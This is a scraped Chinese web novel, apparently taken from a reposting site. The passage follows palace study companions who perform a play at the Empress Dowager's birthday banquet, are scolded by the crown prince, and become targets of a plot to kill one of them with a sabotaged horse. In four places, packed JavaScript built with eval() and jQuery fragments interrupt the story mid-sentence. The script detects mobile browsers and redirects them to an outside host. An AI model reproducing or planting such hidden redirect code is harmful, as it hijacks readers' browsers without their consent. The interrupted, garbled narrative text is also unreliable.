说完,隋明朗愣了下,见母亲脸上并无半分难过,只有欣慰,才安下心来。 隋母是发自内心地高兴。 因为自己,儿子自小就交不了朋友,现如今到了宫里,能够结交到同龄好友,她怎能不开心? 隋明朗对丫鬟道:“去看看厨房的饭菜烧得怎么样了,若是没热好,就催一下。” 待房间里只剩下他们母子,隋明朗从袖中摸出小把金瓜子,道:“娘,这是我从宫里带出来的,你收好了。” 隋母先是一惊,随即摇头推拒:“娘在家里,吃喝都有人侍候,哪有用到着花钱的地方?你一个人在外面,才需要用钱,快些收好了。” 隋明朗道:“娘,我在东宫才是用不着这些。你多点钱财傍身,才好支使动家里的下人。” 隋母道:“如今大夫人对我已经很好了,譬如衣服,现在都是由丫鬟洗的。再譬如饭菜,也比从前好了很多。还有,大夫人已经说了,以后每个月都会请郎中为我搭一次脉,调理身体。” 隋明朗假装变得不高兴。 隋母无奈地说道:“娘收着就是。” 隋明朗这才显露笑容。 西厢房的丫鬟很快将饭菜端来,隋明朗一边给母亲讲述着自己在东宫的见闻,一边用膳。 隋母不说话,只是专心地看着自己的儿子,于她而言,此刻的这种安宁,几乎可以说是最大的幸福。 午膳后,隋明朗提出想跟母亲学一点刺绣。 隋母自是无比惊讶。 隋明朗解释道:“太后娘娘的寿宴快到了,我和几位伴读准备排演一出戏给太后娘娘当贺礼,我在这出戏里需要反串角色,其中有一幕场景需要做点刺绣,还望娘教我。” “原来是这样。” “只是,你今晚能留下吗?如果只有半日,恐怕很难。” 隋明朗笑道:“不能的,日暮前儿子就得回宫。所以,只能劳烦娘亲教得仔细些啦。” 隋母笑着说了一声你呀。 能为自己的儿子做一些事,有能耐教给儿子一些东西,她由衷地感到开心。 一下午就这么过去了。 隋明朗迎着斜阳,一路奔跑,在夕阳余晖中来到了宫门口,递上宫牌,回到东宫。 “回来得真晚。” 隋明朗刚坐下写了没几分钟的作业,方邵元和宁为远推门而入,笑着问道:“刺绣学得怎么样啊?” 隋明朗道:“还好。” 宁为远道:“给咱俩露一手瞧瞧?” 隋明朗:“……” 方邵元道:“没事儿,刺绣这种活计本来就很难,一个下午的时间就想学得像模像样也不现实。这样吧,明天我找人去给我姨母递个信儿,让她想法子安排一个绣女过来,每日抽出一些时间来继续教你。” 如果可以,隋明朗不愿这样麻烦人。 何况自己并不需要练出多好的绣功,只需要绣的时候看起来很像样子,绣出的东西能看就行了。 他道:“我试试看吧。” 隋明朗从抽屉里摸出刺绣需要使用的绣针、绣线,以及绢制的底料,开始刺绣。 “样子看着已经有那么回事了!” “没错!样子看着是最重要的!看来不用再费事去绣房调绣女过来了。” “明朗,才半日,你这很有天赋啊!不过……你这绣得是什么?” 二人一唱一和地道。 隋明朗一边继续刺绣,一边心道:我才不想有这方面的天赋。 大约半炷香的功夫,一个简单的图案就完成了。 方邵元道:“好可爱的小兔子。” 宁为远道:“你这心灵手巧得有些过分了啊!以后要是做不了官的话,可以考虑去当个绣娘……绣工了!” 方邵元道:“你说的这叫什么话。” 宁为远:“啊,我不是那个意思。” 隋明朗道:“没关系。” 他知道对方没有恶意。 方邵元道:“好了好了,我们就不打扰你了,你赶紧去写先生留的作业吧。” 隋明朗说好。 二人很快离去。 隋明朗熬到深夜,总算才完成了先生留下的作业。 接下来的一段时间,他上午跟着先生读书,下午温习、排练戏剧,日子过得异常充实。 转眼,就到了太后寿日。 宫中早在七天前就开始了筹备,待到寿宴开始的这一天,整个皇宫是一片红色与黄色交织的海洋,在正午阳光的照耀下,每个角落似乎都熠熠生辉。 今日理所当然地不用上课。 太子殿下作为储君,有许许多多的仪式,一大早就出了东宫。 而隋明朗、方邵元、宁为远、李承奇,则在东宫磨到了最后一刻,四个人不厌其烦地练习着,以求让戏中的每一个动作、每一句台词,都形成习惯,烙印在血液中。 又一次完美无瑕地练习结束,方邵元道:“好了,时候差不多了,咱们也该过去了。” 他们将所需的戏服提前穿在里面,外面再套上正常的服饰,四人都是清瘦的身材,没有因此显得臃肿。 隋明朗要更麻烦些。 他得提前画好女子的妆容,好在将头发束起之后,再戴一顶帽子,穿上男子外套,混在人群中,倒也不会非常显眼包。 别人看到了只会再多瞧一眼,心里感慨一句“好俊的小公子”罢了。 “寿宴宣布开始,先由圣上携后宫妃嫔向太后祝寿,接着是太子殿下携众皇子向太后祝寿,然后是皇室宗亲向太后祝寿,最后是文武百官。” “贺寿结束后,寿宴正式开始。寿宴期间会有表演,咱们这次运气真的不错,贵妃安排的表演都是歌舞曲,没请戏班子。” “寿宴进行到一半,贵妃安排的表演便该结束了,轮到献寿礼的环节。献礼的顺序也十分讲究,先是圣上、再是贵妃,而后是婕妤以上的其他妃嫔;接下来是太子殿下,太子殿下献完礼后,就是咱们的节目了。托太子殿下的福,咱们不仅能公开献礼,而且可以很靠前。” 一边赶路,方邵元一边给众人讲解。 隋明朗道:“你了解得真清楚。” 方邵元微微一笑。 宁为远道:“不愧有个当宠妃的姨母啊,知道的就是比别人多。” 方邵元立刻嘘了一声,环顾四周,确认附近没有别的人,才道:“现在咱们出了东宫,说话要格外注意些。后宫中执掌凤印的是萧贵妃,这话若让她的人听了去,指不定就要惹出麻烦。” 宁为远连忙捂上自己的嘴。 隋明朗与李承奇则是一齐点头。 东宫虽然同样规矩森严,但于皇宫,于他们而言,那里说是庇护所并不为过。 寿宴的场所安排在了太和殿殿外。 太和殿地位尊崇,殿外又极为空旷,足够容纳京城中所有的贵族及文武百官,大衍朝历代皇帝与太后的寿宴,几乎都会选在这里。 距离太和殿还很远,一路便有太监与宫女指引方向,确保每位参加寿宴的人员都能坐到该坐的位置上。 “诸位是太子殿下的伴读吧?你们的座位在这边,请随我来。” 四人跟着太监入了座。 另一位伴读崔嘉瑞早已到了,五个伴读的座位,他坐在了中间。 方邵元上前道:“崔兄,我们四人今日要上台表演一出戏作为寿礼,待会儿可能还要商量,可否跟你换个座位?” 崔嘉瑞看他一眼,并不动弹:“今儿是什么日子,想必方兄也很清楚。若是让我往左或往右挪一个位置,我不是不能卖你这个面子,可要是叫我坐在最侧边,却是万万不能接受的。” 话已至此,四人只好分开。 方邵元与宁为远坐在左侧,李承奇与隋明朗则坐在右侧。 落座之后,隋明朗赫然发现,隔着数丈的对面,竟有一个熟人——是安弘毅。 与他共用同一张桌案的,在他左侧是位雍容华贵的妇人,右侧则是位气宇轩昂的中年男子,想必就是清平郡主与安国公了。 隋明朗不禁有些感慨。 正像方邵元先前所说的,托太子殿下的福,他们在寿宴上的位置,竟然与清平郡主这样的人物等同了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15103275|163822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李承奇很快也注意到了对面的情况。 他语气略微显得急促:“明朗,你快看!安弘毅和他父母,正好在咱们对面,他们不会使什么坏吧?” 隋明朗倒是不担心这个。 “应该没事儿,今天是什么日子,当着圣上和太后娘娘的面,就算他想闹,郡主和国公也会拦着的。” 李承奇依旧眉头紧皱:“希望如此。” 伴随着总管太监及其他一系列负责传音的太监,嘹亮而又细声细气的声音结束之后,寿宴正式开始了。 圣上与贵妃一并起身。 “我大衍国运昌隆,是母后贤德垂范之功。儿子恭祝母后圣寿无疆,福泽绵延。” 说着,他朝总管太监示意了一眼。 “圣上献紫檀嵌螺细万寿屏风一幅。” 伴随着总管太监的高呼,四名小太监抬着一个无比华贵的屏风来到太后面前。 圣上笑着道:“母后,这屏风乃是今年三月江南进贡的绫罗所制,顶部缀着共九十九颗珍珠,寓为寿如星辰。” 太后慈祥地笑道:“圣上有心了。” 贵妃语笑盈盈:“臣妾恭祝母后福寿安康,福履绥之。臣妾入宫以来,常蒙母后照顾,今日母后寿宴,臣妾备了波斯进宫的赤金毯,又亲手在上面绣了缠枝莲花托寿字,惟愿母后连绵福寿,仙龄永驻,臣妾也愿常奉母后身边,以尽孝道。” 太监将赤金毯捧到了太后面前。 太后笑得直摇头:“贵妃,你这张巧嘴啊,还有这份巧思,真是讨人喜欢。难怪在这后宫三千佳丽之中,圣上独待你与旁人皆不同呢。” …… 三位身在妃位的高等嫔妃,有幸能依次在太后跟前单独露个脸,献上寿礼。至于剩下的妃嫔,就只能一齐走个过场了。 “恭祝祖母福运常伴,岁岁绵延。” 顾温一身朱色的衣裳,从座位上站起身来,走至中央,抱拳遥祝。 太后脸上仍挂着笑意,开口道:“哀家记得,上次见你的时候,你还没有这么高,怎么一晃眼,都已经长成大人了?皇帝啊,他是不是都快赶上你高了?” 贵妃轻轻勾了勾嘴角。 皇帝笑道:“温儿眼下正是长身体的时候,男孩儿本就蹿得快,不稀奇。温儿,你有多久没去拜见祖母了?是不是近日一直忙着读书?昨日尚老太傅还同朕说,你这段时日的功课进步很大。” 说完,他又看了总管太监一眼。 对方立刻高呼道:“太子献缂丝白鸟朝凤图一份!” 皇帝笑道:“母后,这是温儿精心为您挑选的礼物,儿子已提前看过,这幅图是以金线绣于绛红锦缎之上,两侧是孔宋大儒亲自书写的‘瑶池春不老,寿域日方长’。” 太后看着太监捧上来的百鸟朝凤图,点点头道:“太子有心了。” 贵妃笑道:“连尚老太傅都夸赞,可见太子殿下天资聪颖。若是能收敛心性,将习武的心思收收,多挪一些放在政务的学习上,想来用不了多久,咱们大衍的江山便后继有人了。” 太后略略拧眉:“太子如今依旧日日在自己的宫里面练武么?” 皇帝笑道:“母后,今日是您寿宴,就不要讲这些了。温儿,习武能够强身健体,也是好事,只是,万事须讲究分寸,不可做出有失身份的事情。” 顾温道:“儿臣谨记父皇教诲。” “这和你说的流程不太一样啊。” 下方,宁为远和方邵元说着悄悄话。 方邵元沉吟道:“往年都是这样的,是今年才有的变化。” 身为京城守备之子,方邵元勉强拥有出席这种寿宴的资格。当然,若是按照往年的座次,他得排在很后面的位置。 至于宁为远,连出席的资格也没有。整个宁府,只有他父亲一个人,可以参与寿宴。 另一边,隋明朗则是小声道:“你有没有觉得,殿下和太后的关系似乎有些紧张?” 李承奇道:“没有啊,而且距离还是有点远了,有些话听不大清楚。” 隋明朗的听觉显然更好些。 只是,他隐隐感觉,太后对殿下的态度似乎不是很好,而殿下也是一样。 若当真如此,那他们作为太子伴读,反而亲自上阵,演上一出竭尽讨好太后的戏,会不会…… 然而,寿礼形式早已上报,如今已经是箭在弦上,不得不发。 正这么想着,太监们的提醒已经传入耳畔:“请东宫伴读登台献礼。” 15.第 15 章 总管太监高声道:“东宫伴读崔嘉瑞,献东珠朝珠一份。” 历朝历代皆视东珠为贵宝,譬如大衍,太后与皇后的朝冠上便缀有东珠,也唯有她二人的朝冠上被允许缀上东珠。而眼前太监手中之盒所盛纳的东珠,显然比寻常的东珠饱满晶莹许多。 崔嘉瑞昂首挺胸地走至殿前,恭敬地朝上方的贵人抱拳行礼:“臣深感太后娘娘圣恩广布,泽被苍生,特命人跨越千山万水,寻得此稀世东珠,愿以此珠,敬贺太后娘娘圣体康泰,福慧双增,岁月长安。祈愿我朝在太后庇佑之下,风调雨顺,国祚永延,盛世长隆。” “这孩子真是讨人喜欢。” 太后本就信佛,常年诵经,见此东珠,自然喜欢,于是问道:“你是谁家的儿子?” 崔嘉瑞道:“臣父崔钦。” 太后笑道:“原来是丞相之子,难怪如此一表人才,丞相教子有方啊。” 百官中的首位,崔钦出列俯首道:“太后盛赞,臣愧不敢当。” “我还从没见过这样大的东珠呢。” 方邵元感慨:“不愧是丞相啊。” 此刻,另外四位伴读已经离开座位,来到了殿前一侧,只等崔嘉瑞退去,太监示意,就得上台。 宁为远低声道:“诸位,准备了。” 说着,他主动褪去了自己的外服。 其余人见状也纷纷照做。 隋明朗摘下帽子,拔出发簪,将束发完全散落下来,及至肩下。 月白色的罗裙随风款款而动,肤白胜雪,眉目如画,双眸明亮清澈如清泉,再带着一抹因为女装而产生的娇羞,当另外三名伴读看到这样的隋明朗时,一时之间竟有些呆滞了。 因为美貌得令人感到窒息,他们甚至连先前的那种调侃也说不出了。 终是由总管太监嘹亮的声音打断了这场沉寂。 “东宫伴读方邵元、宁为远、李承奇、隋明朗,以《秦氏孤儿》为太后娘娘祝寿。” 方邵元瞬间回神:“到咱们了。” 宁为远深吸一口气:“我有点紧张……邵元,你打前阵吧。” 李承奇道:“我们可以的!” 隋明朗不语,只是默默跟上。 萧贵妃望着上殿的四人,疑惑道:“陛下,这一次太子的伴读中,竟有个姑娘吗?” 皇帝笑道:“这怎么可能。想来那位姑娘,是某位伴读男扮女装而成吧。” “男扮女装?” 萧贵妃盯着前方那个固然年少、却已出落得沉鱼落雁般的姑娘,再三辨别,终于从对方的美丽中瞧出了几分清俊,不由道:“好个容貌昳丽的少年!” 皇帝想起,此人是唯一一个由自己的儿子亲自选为伴读的,他不由看向顾温。 顾温定定地望着台上正在表演的四人。 准确地说,是其中某一个。 此时此刻,儿子眼中除了对方,似乎就没有别人了。 皇帝见状不由一笑。 算算年纪,温儿也是时候该有个房里的人了,这倒是自己的疏忽。 至于这个人是男子还是女子,横竖不是当太子妃的,无伤大雅。 若对方真有才华,待年纪稍大些,到了加冠的年纪,自然而然就换了身份,或许还能凭借这种经历让他的才华如虎添翼,就如同某朝某位战功赫赫的将军,也算是一桩美谈。 皇帝不再关注太子的神情,转而专注地欣赏起前方四位少年精心准备的戏剧。 “你们虽非我的生父生母,然而这护佑之恩,养育之情,早已胜过了血缘。我秦武今日既已报仇雪恨,自然要找回身份,可你们二位依然是我的父母,此生此世,我当以我的一切来供养。” 故事的最后,由方邵元饰演的秦武说出这句话,而后,他与隋明朗“母慈子爱”地拥抱在了一起。 “臣等献丑了。” 演完了戏,还是由方邵元打头,俯首抱拳道:“愿以此戏,博太后娘娘一乐,恭贺太后娘娘福寿无极,年年今日,岁岁今朝。” “瞧瞧,瞧瞧,太子的伴读,你们才多大呀,竟能将戏演得这样好,看得哀家一时笑,一时悲,全然沉浸在你们的故事里了。快,走上前来,让哀家瞧瞧你们几个。” 太后一脸慈爱地说道。 四人互相对视,而后一起向前几步。 “观此戏,朕也有所感。” 皇帝开口道:“朕年少登基,虽不像戏里的秦武那般处境艰难,却也全赖母后的教养与支持才有今日。母后,朕也当像秦武说的那样,以天下供养您。” 太后笑呵呵地道:“皇帝,你向来孝顺,哀家心里清楚得很。不过呀,哀家吃斋念佛惯了,用不着天下来供养,你有此心,哀家就很高兴了。” 她又看向前方四人,道:“你们演的这出戏,这是哀家收到的最好的寿礼。” 方邵元等人都很高兴。 隋明朗心里却像是有块石头压着。 在决定将这出戏定为太后的寿礼之前,他并不清楚太子殿下与太后的实际关系,只是按照常理来预想。 可若是两人之间并不友好,他们身为东宫伴读,却选择用这出戏来讨好太后,拉近太后与皇帝之间的距离,这算怎么回事呢? 尤其是,殿下对自己有那样的恩情。 上方,皇帝开口道:“既然母后都如此说了,那朕应当奖赏你们一点什么……便每人赏黄金百两吧!主动提出这个主意的人,再额外加赐百两!” 其余三人都看向了隋明朗。 这是隋明朗提议的,这个功劳,他们自然不会去抢。 皇帝顿时明白了,于是看着隋明朗道:“你是怎么想出这个主意的?” 隋明朗:? 这是什么奇怪的问题?真实的原因,是可以直接说的么? 等等,他忽然想到了先前的事。 如果不是自己的错觉,太子殿下与太后之间关系不算好,圣上则似乎…… 隋明朗道:“回圣上,关于这一次的寿礼,臣也曾有所担忧,于是斗胆去询问了太子殿下。殿下告诉臣,要鼓起勇气,勇敢去做。” “哦?竟有此事?” 皇帝似乎很是惊讶,这又令隋明朗觉得,自己刚才是不是想多了。 隋明朗道:“臣不敢欺君。” 皇帝又望向太子。 顾温淡淡道:“儿臣的确给过他这样的建议,当然,他今日的表现,也大大超出了儿臣的预料。” 皇帝闻言哈哈一笑:“岂止是超出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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太后叹一口气:“这天底下的父母之心都是一样的,哀家知道,你心疼毅儿。但,这世间万事万物都逃不过一个理字,太子所罚,合情合理。” 清平郡主心道:理?为一卑贱之子驱逐她的儿子,这也能叫作理? 清平郡主道:“母后,可您不是也说过,太子每月的初一和十五不到仁寿宫向您请安,是不合规矩,不守礼法吗?” 太后摇了摇头。 换作从前,她想起此事或许会生出不满,但,想到今日寿宴上的事:“请安一事,只是虚礼。若心中真的尊敬,只要观其行事,不必请安也一样尊敬。何况,太子是储君,将来便是君,君即是理。” 清平郡主抿了抿嘴。 是了,太子今日在寿宴上,先是献了一份价格贵重的寿礼,再又命伴读献了一份情谊贵重的寿礼,自然是“心中尊敬”了。 犹豫片刻,她又道:“母后,可您别忘了,当初先皇后……” “住口!” 太后猛然睁眼,狠狠瞪向清平郡主,脸上再不见半点慈眉善目:“敢在宫中提起此事,你有几条命?再敢如此,哀家也保不住你!” 清平郡主慌忙伏地:“儿臣再也不敢了。” 与此同时,东宫。 望着眼前跪得整整齐齐的四名伴读,顾温冷冷道:“你们的胆子真是越来越大了。” 16.第 16 章 “殿下恕罪!” 四人齐声道。 方邵元心中十分不解。 他们几人准备的戏同时讨得太后和皇上的开心,怎地太子殿下反而会生气呢?按常理说,他们的寿礼为东宫挣得了面子,不说有功,起码无过吧? 宁为远则思忖道:入东宫前,父亲便曾说过,太子殿下喜怒不定,要自己务必小心。 入东宫这么久,他虽觉得太子殿下极具君者气势,同处一室时,会令人倍感紧张。但,喜怒不定却并未见得。今日,终于见识到了。 李承奇则被吓得瑟瑟发抖——太子殿下可是说过的,自己若是再犯错,就要新罪旧罪一并清算。可他又觉得,自己如果就这么死了,那实在死得太冤枉了。 隋明朗垂眸心想:四人之中,大概只有自己知道一些殿下为何生气的内情吧? 他望了一眼身侧的三人。 说到底,此事是自己提出来的,方邵元、李承奇、宁为远,他们都是因为是自己的朋友,陪着自己一起,才会无意间得罪殿下,惹上祸端。 于是,隋明朗开口道:“殿下,这个主意是臣出的,他们都是为了陪臣,才会惹殿下动怒,殿下若要处置,还请只处置臣一人。” “哦?” 顾温眼神玩味:“这么勇敢?想要一个人全部担下来?问题是,这后果你一个人担得下么?你可知,你要付出何种代价?” “只要不涉及臣的父母族人,任何代价,臣都甘愿领受。殿下于臣有恩,哪怕要臣性命,臣也绝无二话。” 顾温道:“抬起头来。” 隋明朗乖乖照做。 顾温看见了一张美丽得动人心魄,仿佛庭前娇花,却又饱含坚定,宛若山间松柏的脸。 这令他有一瞬间的失神。 “明朗……” 方邵元一咬牙,道:“殿下,臣不知您为何动怒,但,此事虽是明朗提出的,却是臣一力推动的,是臣写的戏本、准备的戏服,也是臣在寿宴上说了那些话,殿下若要怪罪,请让臣承担主罪!” 他料想,凭自己的家世,太子殿下怎么样都不至于要了自己性命。此事已经得了太后和圣上赏赐,就算被太子殿下逐出东宫,也不至于无法面对父亲。 见状,宁为远与李承奇也要跟着开口,顾温骂道:“够了!你们当这是什么地方,给你们表演兄弟情深的戏台吗?” 四人尽皆俯首。 “殿下恕罪,臣等不敢。” 顾温重哼一声:“只此一次,下不为例。你们若再背着孤偷偷做出如此不宜之举,孤决不轻饶。” “多谢殿下宽恕。” 话虽如此……四人中却是有三人都思忖道:今日这事儿怎么就不宜了?明明圣上和太后都是赞誉的。 横竖,以后不要冒险就是了。 “还有——” 顾温这次把目光只对准方邵元一人:“选你们入东宫,是给孤当伴读。若是不把心思放在学问上,反而放到其他事情上,搞出什么上不得台面的事……孤一定要他好看。” 方邵元:……? 上不得台面? 自己何曾与上不得台面的事情有关了? 自己今日做了什么? 演戏?不,圣上与太后尚且不把演戏视为如此。等等,他骤然记起,数日前还有一次,殿下也是生气得令人毫无头绪…… 一瞬之间,方邵元好像明白了什么。 上次,是因为自己和明朗同睡一室。 这次,是因为自己和明朗当众拥抱。 难道说,太子殿下竟然…… 尽管这个想法令他感到不可思议,甚至说是难以相信!但,这一刻,就是这么莫名其妙地出现在了他的脑海中。 方邵元立刻道:“回殿下,臣并不好这一口,更不敢在东宫中做出如此行径。” 顾温眯了眯眼,似在判断。 其余三人都是满头雾水,没听懂他们在说什么。 片刻后,顾温又将视线挪到了隋明朗身上,并很快皱起眉头:“快去把衣服换了,脸洗干净,头发整理好,以后不经孤允许,不准再扮成这副模样!” “是,殿下,臣这就去。” 隋明朗本身也不喜欢如此,要不是寿宴刚结束就被叫到这里,他早就全部换掉了。 待到隋明朗离开,顾温冲着剩下三人不耐烦地道:“你们三个在这儿把宫规抄上三遍,就滚回自己的屋子里去。” “是,殿下。” …… “真是累死了!” “跪在这里这么久,还要抄宫规,我腰都酸了。” “嘘,你们小点声。” 待到抄完三遍宫规,早已入了夜,三名伴读终于能够起身,伸懒腰的伸懒腰,打哈欠的打哈欠,此时此刻,他们只想赶紧去泡个热水澡,然后上床睡觉,明日还有早课呢。 宁为远走在最前面,边开门边道:“还是明朗爽啊,被殿下叫去洗脸换衣裳,就这么……” 话还没说完,打开门的他愣住了。 门前,隋明朗跪坐在地上,正在认认真真地写字,仔细一瞧,赫然也在抄宫规。 “你们都抄完了吗?我也马上。” 听见声音,隋明朗抬起头说道。 李承奇道:“你也被太子殿下罚啦?怎么不进来抄?外面不冷吗?” 隋明朗笑道:“还好,我穿了厚衣裳,不冷。” 宁为远凑上前,边看边问:“抄到哪儿了?还剩多少?如果马上就好了的话,我们在这儿等等你。” 他浑身难受,又冷又饿身体又酸痛,只想赶紧回去洗个热水澡,还要边洗边吃点东西。 隋明朗道:“抄到第三遍第97条了。” 李承奇笑道:“那马上了。” 方邵元沉吟道:“不是殿下命你抄的,是你自己要陪着我们一起抄的,是不是?” 闻言,宁为远和李承奇皆是一愣。 隋明朗只是快速地写字,没说话。 李承奇道:“真的假的?” 方邵元叹道:“傻不傻啊你,要是能替我们也就罢了,你抄再多,我们仨也不能少写一个字,干嘛自己为难自己?” 隋明朗写完最后一个字,抱着抄好的三遍《宫规》站起身来,认真地道:“事情是我们一起做的,断没有你们三个受苦,我一人当逃兵的道理。” 寿宴这一日过后,四个人的关系似乎变得更加紧密了。 上课一起读书,下课一起完成作业,共进午膳,时不时整点小酒,日子过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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年轻女子身材窈窕,气质不凡,隐于屏风之后。 男子却是长了一张饱经风霜的脸,双手更是布满老茧,跪立在屏风前。 “我方才说的话,你可听明白了?” 年轻女子淡淡地问道。 “回贵人的话,小人都听明白了。贵人放心,明日殿下及伴读们的马匹都是小人的一个同乡负责的,他对小人从不设防,小人一定会让画像上的少年骑上一匹有问题的马,死无葬身之地。” 年轻女子道:“马场那边,我也会安排别人配合你,只要你小心行事,你的那位同乡会是你的替死鬼。但,若是不慎被太子殿下查了出来——” 男子忙道:“贵人放心,贵人对小人有恩,若被查出来,小人会一口咬定是小人与隋府有怨,绝不会牵连到贵人。” 年轻女子满意地点点头:“如若你真的出了事,放心,你的家人这辈子都会有享不尽的荣华富贵。” 男子磕头道:“小人叩谢贵人大恩!” 年轻女子最后又交代道:“现在,把画像上的人牢牢地记清楚,然后当着我的面烧掉它。” 男子一愣,随即道:“是。” 17.第 17 章 有道是,春风得意马蹄疾,一日看尽长安花。 这诗说的是写诗之人科举高中后,内心油然而生的得意与喜悦之情。而此时此刻,跟随着太子殿下的卫队,坐在马背上,行在长安街头,由禁军牵着前往皇家马场,显然也是一种相近的荣耀。 太子出行的阵仗,街道两侧,无数百姓驻足围观,他们用艳羡的、敬畏的、略带几分惧怕的目光,凝望着坐在高头骏马上的贵人们。 李承奇忽然伸出手指道:“明朗、方兄、宁兄,快看,前面就是中远伯府了。” 众人顺着视线望过去。 宁为远感慨道:“真是气派。” 方邵元笑道:“伯爵门第,自然有伯爵的荣光。” 李承奇苦笑道:“祖上建的府邸,现在也就剩外面这副架子了,论实在的,可比方府差得多了。” 方邵元没反驳。 长安城中权贵无数,而他们方家,有父亲和姨母在,固然算不上第一流的权贵,可在二流当中,绝对是排得极为靠前的。 自然而然地,就不是一个没落的伯爵府所能媲美的。 皇家马场在京郊极近之处。 这是皇室宗亲学习骑马的地方,当然不会路途遥远。马场中,无论是骏马、草料、驯马师,抑或是跑场、马厩、各种马具,都是整个大衍最顶尖的。 “殿下,我们到了。” 为首的禁军队长稳稳地伸出手臂,欲助太子下马,顾温却是没有搭理,双脚微一用力,纵身前跃,便稳稳地落在了白马前头。 禁军队长赞道:“殿下好身手!” 后面几位伴读也都眼前一亮。 他们都知道,太子殿下动怒时酷爱以剑逼人,却未曾想到,殿下千金之身,竟有一身好武艺! 至于隋明朗,尽管曾不止一次听见过顾温练剑时的声音,却也是第一次看清。 顾温冷冷道:“一个个都愣着做什么。今日不是要学骑射么?这里的主事哪儿去了?” 一个身形健硕的男人从马场中的一间营帐走出,此人正是马场主事,一个六品官,见到前方阵仗,他连忙飞奔而来,跪地道:“臣迎驾来迟,望殿下恕罪。” 顾温没怎么在意,居高临下看着他:“今日是骑射课,不过,孤用不着你教。倒是孤身后的这几人,你需要把他们都当作新人教,教会了,你的工作就完成了。” 马场主事迟疑道:“这……” 他接到的命令是教太子。那几名伴读,只是顺带的。 顾温懒得啰嗦,双眼望着前方,同身侧的禁军队长说话:“王将军,来与孤赛一场马,若是赢了,孤赐你黄金百两,以作奖赏。” 禁军队长闻言,眼睛瞬间亮了,喜道:“殿下此言当真?” “你在质疑孤的话?” “末将不敢!” 顾温翻身上马:“想要黄金,那就休要婆婆妈妈的。” 禁军队长也跟着上马,抱拳道:“殿下,末将得罪了。” 伴随着骏马嘶鸣之声,二人二骑同时疾驰而去。 “殿下——” 马场主事喊了一声,自知无法改变了,他转身看向五名伴读:“既然殿下如此决定,我们做臣子的,自然只能照做。接下来,老夫会先上马示范,将骑马的要领传授给你们,你们务必仔细看好。之后,你们依次骑上示范用的马,它极为温顺,老夫会对你们骑马的姿势进行指正。待到差不多了,你们再分别骑一匹马——喏,就在那边,马场都已经提前准备好了。” 伴读们专心致志上着骑射课的同时,人群中,一名马夫正在按照计划行事。 “小九,你在这儿啊?刚才秦哥正到处找你呢。” “找我?秦哥有什么事儿啊?” “不知道,我看他好像蛮着急的。” “那我这去找他!哥,你帮我看一下。” “去吧,包我身上了!” 见同乡走远,男人露出笑容。 只要完成了贵人交代的事情,儿子便能获得登云梯,进入学堂读书。届时,就不必像他一样,再怎么努力,也只能从富人家的马夫,成为皇家马场的马夫,一生都摆脱不掉卑贱的身份。 “好了,到你了。” 马场主事看向唯一一个还没尝试的伴读:“快过来吧。” “是,先生。” 隋明朗在马场主事的帮助下翻身至马背,他牢记先生方才教的要领,开始徐徐图之。 “放心骑。” “双腿用力夹马腹。” “身体放松些,不要那么僵硬。马是有性情的生灵,它能感受到你紧张的情绪。” 马场主事看着前方暗暗叹一口气。 学习骑射也是讲究天赋的,而这最后一位伴读,显然比上一位伴读还要缺乏天赋。 “吁。” 另一头,顾温与禁军队长已分出了胜负,二人下了马,禁军队长心悦诚服,俯首抱拳道:“殿下神骑,末将自愧不如。” 马场主事见状有些呆滞。 他忍不住问道:“王将军,殿下竟然胜了你么?” 禁军队长道:“不止是我。依末将之见,殿下的骑术已是出神入化,根本没有学习的必要,放眼整个禁军,恐怕也只有首领大人是殿下的对手。” 他倒不是刻意逢迎,而是实打实地从心底认为:与太子殿下相比,禁军之中,唯有首领大人能够说一句稳胜。其余的,即使是其中最善骑的几个队长,估计也只是与殿下伯仲之间。 马场主事忙道:“殿下神骑!” 心中却忍不住道:这位王将军也实在太能拍马屁了,为了拍马屁竟然连赏赐都不要了!殿下千金之躯,骑马比你这个禁军队长骑得好?怎么可能! 其余人也纷纷道:“殿下神骑!” “够了!” 顾温一脸不耐烦的样子:“少说这些没用的恭维话!孤骑术如何,自己心里有数。主事——” 马场主事忙道:“臣在。” 顾温道:“你这边教得如何?” “伴读们大多学得不错。” 马场主事迟疑道:“只这一位,有些……” 顾温挑了挑眉:“没骑过马?” 隋明朗在马上抱拳:“让殿下见笑了。” 他理应迅速下马回话,然而,他真的不确定自己能不能顺利下马,尤其是在太子的注视下。 顾温似乎看出了他的难处,对马场主事抬了抬下巴:“去,让他下来。” 马场主事帮助隋明朗下了马。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15119183|163822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 顾温一夹马腹,□□白色漂亮的骏马缓缓朝隋明朗走去。 及至跟前,顾温身手迅捷地落了地:“你来骑孤的这匹。” 闻言,隋明朗迟疑了。 